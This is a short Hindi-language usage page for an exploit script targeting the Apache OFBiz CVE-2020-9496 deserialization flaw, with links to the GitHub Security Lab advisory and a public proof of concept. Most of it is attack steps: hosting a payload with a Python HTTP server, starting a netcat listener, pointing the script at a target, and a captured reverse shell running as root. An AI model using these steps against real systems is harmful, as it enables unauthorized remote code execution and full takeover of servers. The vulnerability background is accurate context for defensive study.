
Apache OFBiz CVE-2020-9496 असुरक्षित डिसीरियलाइज़ेशन भेद्यता के लिए एक्सप्लॉइट स्क्रिप्ट, जो रिवर्स शेल पेलोड डिलीवरी सहित क्राफ्टेड XML-RPC अनुरोधों के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाती है।
चूंकि वेबटूल्स में 2 xmlrpc से संबंधित अनुरोध (xmlrpc और ping) प्रमाणीकरण का उपयोग नहीं कर रहे हैं, वे असुरक्षित डिसीरियलाइज़ेशन के लिए संवेदनशील हैं।
यह समस्या GitHub Security Lab टीम के Alvaro Munoz [email protected] द्वारा सुरक्षा टीम को सूचित की गई थी।
मूल ब्लॉग: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
Apache का पोस्ट: https://issues.apache.org/jira/browse/OFBIZ-11716
Github का POC: https://github.com/g33xter/CVE-2020-9496
इस एक्सप्लॉइट को काम करने के लिए, आपको निम्नलिखित चरणों का पालन करना होगा:
> sudo python3 -m http.server 80
> nc -nlvp 8001
url='https://127.0.0.1' # CHANGE THIS
port=8443 # CHANGE THIS
> ./cve-2020-9496.sh -i IP -p PORT
❯ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 57500
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@poc:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
root@poc:/usr/src/apache-ofbiz-17.12.01#